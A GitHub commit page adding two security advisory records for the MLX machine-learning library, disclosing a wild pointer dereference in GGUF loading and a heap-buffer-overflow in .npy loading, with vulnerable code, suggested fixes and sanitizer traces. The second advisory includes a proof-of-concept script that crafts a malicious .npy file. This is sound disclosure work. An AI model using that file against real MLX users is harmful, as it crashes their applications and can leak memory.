Skip to content

Commit 396b47c

Browse files
1 parent 1883024 commit 396b47c

File tree

2 files changed

+128
-0
lines changed

2 files changed

+128
-0
lines changed
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-j842-xgm4-wf88",
4+
"modified": "2025-11-21T18:03:20Z",
5+
"published": "2025-11-21T18:03:20Z",
6+
"aliases": [
7+
"CVE-2025-62609"
8+
],
9+
"summary": "MLX has Wild Pointer Dereference in load_gguf()",
10+
"details": "## Summary\n\nSegmentation fault in `mlx::core::load_gguf()` when loading malicious GGUF files. Untrusted pointer from external gguflib library is dereferenced without validation, causing application crash.\n\nEnvironment:\n- OS: Ubuntu 20.04.6 LTS\n- Compiler: Clang 19.1.7\n\n## Vulnerability\n\n**Location**: `mlx/io/gguf.cpp`\n- Function `extract_tensor_data()` at lines 59-79\n- Vulnerable memcpy at lines 64-67\n- Called from `load_arrays()` at line 177\n\n**The Bug**:\n```cpp\nstd::tuple<allocator::Buffer, Dtype> extract_tensor_data(gguf_tensor* tensor) {\n std::optional<Dtype> equivalent_dtype = gguf_type_to_dtype(tensor->type);\n if (equivalent_dtype.has_value()) {\n allocator::Buffer buffer = allocator::malloc(tensor->bsize);\n memcpy(\n buffer.raw_ptr(),\n tensor->weights_data, // untrusted pointer from gguflib\n tensor->num_weights * equivalent_dtype.value().size());\n return {buffer, equivalent_dtype.value()};\n }\n // ...\n}\n```\n\n## Possible Fix\n\n```cpp\nstd::tuple<allocator::Buffer, Dtype> extract_tensor_data(gguf_tensor* tensor) {\n std::optional<Dtype> equivalent_dtype = gguf_type_to_dtype(tensor->type);\n if (equivalent_dtype.has_value()) {\n // FIX: Validate pointer\n if (!tensor->weights_data) {\n throw std::runtime_error(\"[load_gguf] NULL tensor data pointer\");\n }\n\n allocator::Buffer buffer = allocator::malloc(tensor->bsize);\n memcpy(\n buffer.raw_ptr(),\n tensor->weights_data,\n tensor->num_weights * equivalent_dtype.value().size());\n return {buffer, equivalent_dtype.value()};\n }\n // ...\n}\n```\n\n## PoC\n\n```bash\n# Install MLX\npip install mlx\n\npython3 -c \"import mlx.core as mx; mx.load('exploit.gguf', format='gguf')\"\n```\n\nDownload the poc file [there](https://drive.google.com/file/d/1t9Z2RJGn-oHmluKWebU077UWSMGXeuVp/view?usp=sharing), or let me know how I can send it to you.\n\n**AddressSanitizer Output (with instrumented build)**:\n```\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==5855==ERROR: AddressSanitizer: SEGV on unknown address 0x7fc432f64bc0 (pc 0x7fc430841c12 bp 0x7ffc04847ab0 sp 0x7ffc04847268 T0)\n==5855==The signal is caused by a READ memory access.\n #0 0x7fc430841c12 /build/glibc-B3wQXB/glibc-2.31/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:312\n #1 0x55aac829756b in __asan_memcpy (/home/user1/mlx/fuzz/load_gguf/fuzz_load_gguf+0x9ef56b) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f)\n #2 0x55aacaa6e8dc in mlx::core::extract_tensor_data(gguf_tensor*) /home/user1/mlx/mlx/io/gguf.cpp:64:5\n #3 0x55aacaa773fc in mlx::core::load_arrays[abi:cxx11](gguf_ctx*) /home/user1/mlx/mlx/io/gguf.cpp:226:35\n #4 0x55aacaa782a9 in mlx::core::load_gguf(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/gguf.cpp:250:17\n #5 0x55aac82dc696 in LLVMFuzzerTestOneInput /home/user1/mlx/fuzz/load_gguf/fuzz_load_gguf.cpp:49:19\n #6 0x55aac81e25c6 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/user1/mlx/fuzz/load_gguf/fuzz_load_gguf+0x93a5c6) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f)\n #7 0x55aac81cc738 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/user1/mlx/fuzz/load_gguf/fuzz_load_gguf+0x924738) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f)\n #8 0x55aac81d220a in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/user1/mlx/fuzz/load_gguf/fuzz_load_gguf+0x92a20a) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f)\n #9 0x55aac81fbb82 in main (/home/user1/mlx/fuzz/load_gguf/fuzz_load_gguf+0x953b82) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f)\n #10 0x7fc4307aa082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #11 0x55aac81c73ed in _start (/home/user1/mlx/fuzz/load_gguf/fuzz_load_gguf+0x91f3ed) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f)\n\n==5855==Register values:\nrax = 0x0000502000000098 rbx = 0xfafafafa0000fa00 rcx = 0x00000a047fff8013 rdx = 0x0000000000000008\nrdi = 0x0000502000000098 rsi = 0x00007fc432f64bc0 rbp = 0x00007ffc04847ab0 rsp = 0x00007ffc04847268\n r8 = 0x00000a0400000013 r9 = 0x0000000000000000 r10 = 0x00000a0400000013 r11 = 0x0000000000000000\nr12 = 0x00000a047fff8010 r13 = 0xffffffffffffffc7 r14 = 0x00007fc42dd00280 r15 = 0x00000ff885ba0050\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /build/glibc-B3wQXB/glibc-2.31/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:312\n==5855==ABORTING\n```\n\n## Impact\n\n- **Attack vector**: Malicious GGUF file (model weights, typically from untrusted sources)\n- **Affects**: MLX users on all platforms who call the vulnerable method with unsanitized input.\n- **Result**: Segmentation fault (uncatchable by exception handlers)\n\n---\nCredits:\n\n- Markiyan Melnyk (ARIMLABS)\n- Mykyta Mudryi (ARIMLABS)\n- Markiyan Chaklosh (ARIMLABS)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "mlx"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.29.4"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.29.3"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/ml-explore/mlx/security/advisories/GHSA-j842-xgm4-wf88"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/ml-explore/mlx"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-476"
54+
],
55+
"severity": "MODERATE",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2025-11-21T18:03:20Z",
58+
"nvd_published_at": null
59+
}
60+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-w6vg-jg77-2qg6",
4+
"modified": "2025-11-21T18:02:38Z",
5+
"published": "2025-11-21T18:02:38Z",
6+
"aliases": [
7+
"CVE-2025-62608"
8+
],
9+
"summary": "MLX has heap-buffer-overflow in load()",
10+
"details": "## Summary\n\nHeap buffer overflow in `mlx::core::load()` when parsing malicious NumPy `.npy` files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.\n\nEnvironment:\n- OS: Ubuntu 20.04.6 LTS\n- Compiler: Clang 19.1.7\n\n## Vulnerability\n\nThe parser reads a 118-byte header from the file, but line 268 uses `std::string(&buffer[0])` which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read `header[34]` without checking the length first, reading 13 bytes past the allocation.\n\n**Location**: `mlx/io/load.cpp:268,276`\n\n**Bug #1** (line 268):\n```cpp\nstd::string header(&buffer[0]); // stops at first null byte\n```\n\n**Bug #2** (line 276):\n```cpp\nbool col_contiguous = header[34] == 'T'; // No bounds check\n```\n\n## Possible Fix\n\n```cpp\n// Line 268\nstd::string header(&buffer[0], header_len);\n\n// Line 276\nif (header.length() < 35) throw std::runtime_error(\"Malformed header\");\n```\n\n## PoC\n\n```bash\npip install mlx\n\n# generate exploit\ncat > exploit.py << 'EOF'\nimport struct\nmagic = b'\\x93NUMPY'\nversion = b'\\x01\\x00'\nheader = b\"{'descr': '<u2', 'fo\\x00\\x00\\x00\\x00n_order': False, 'shape': (3,), }\"\nheader += b' ' * (118 - len(header) - 1) + b'\\n'\nwith open('exploit.npy', 'wb') as f:\n f.write(magic + version + struct.pack('<H', 118) + header + b'\\x00\\x00\\x00\\x80\\xff\\xff')\nEOF\npython3 exploit.py\n\npython3 -c \"import mlx.core as mx; mx.load('exploit.npy')\"\n```\n\n**AddressSanitizer Output (with instrumented build)**:\n```\n=================================================================\n==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48\nREAD of size 1 at 0x503000000152 thread T0\n #0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25\n #1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10\n #2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20\n #3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)\n\n0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)\nallocated by thread T0 here:\n #0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)\n #1 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14\n #2 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct_aux<char const*>(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11\n #3 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4\n #4 0x5633456956fe in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9\n #5 0x5633456956fe in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15\n #6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10\n #7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20\n #8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>)\nShadow bytes around the buggy address:\n 0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00\n 0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa\n=>0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa\n 0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07\n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n==3179==ABORTING\n```\n\n## Impact\n\n- **Attack vector**: Malicious `.npy` file (model weights, datasets, checkpoints)\n- **Affects**: MLX users on all platforms who call the vulnerable methods with unsanitized input.\n- **Result**: Application crash + potential 13-byte heap leak\n\n\n---\n\nCredits:\n- Markiyan Melnyk (ARIMLABS)\n- Mykyta Mudryi (ARIMLABS)\n- Markiyan Chaklosh (ARIMLABS)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "mlx"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.29.4"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.29.3"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/ml-explore/mlx/security/advisories/GHSA-w6vg-jg77-2qg6"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/ml-explore/mlx/pull/1"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/ml-explore/mlx/pull/2"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/ml-explore/mlx"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-122"
62+
],
63+
"severity": "MODERATE",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2025-11-21T18:02:38Z",
66+
"nvd_published_at": null
67+
}
68+
}

0 commit comments

Comments
 (0)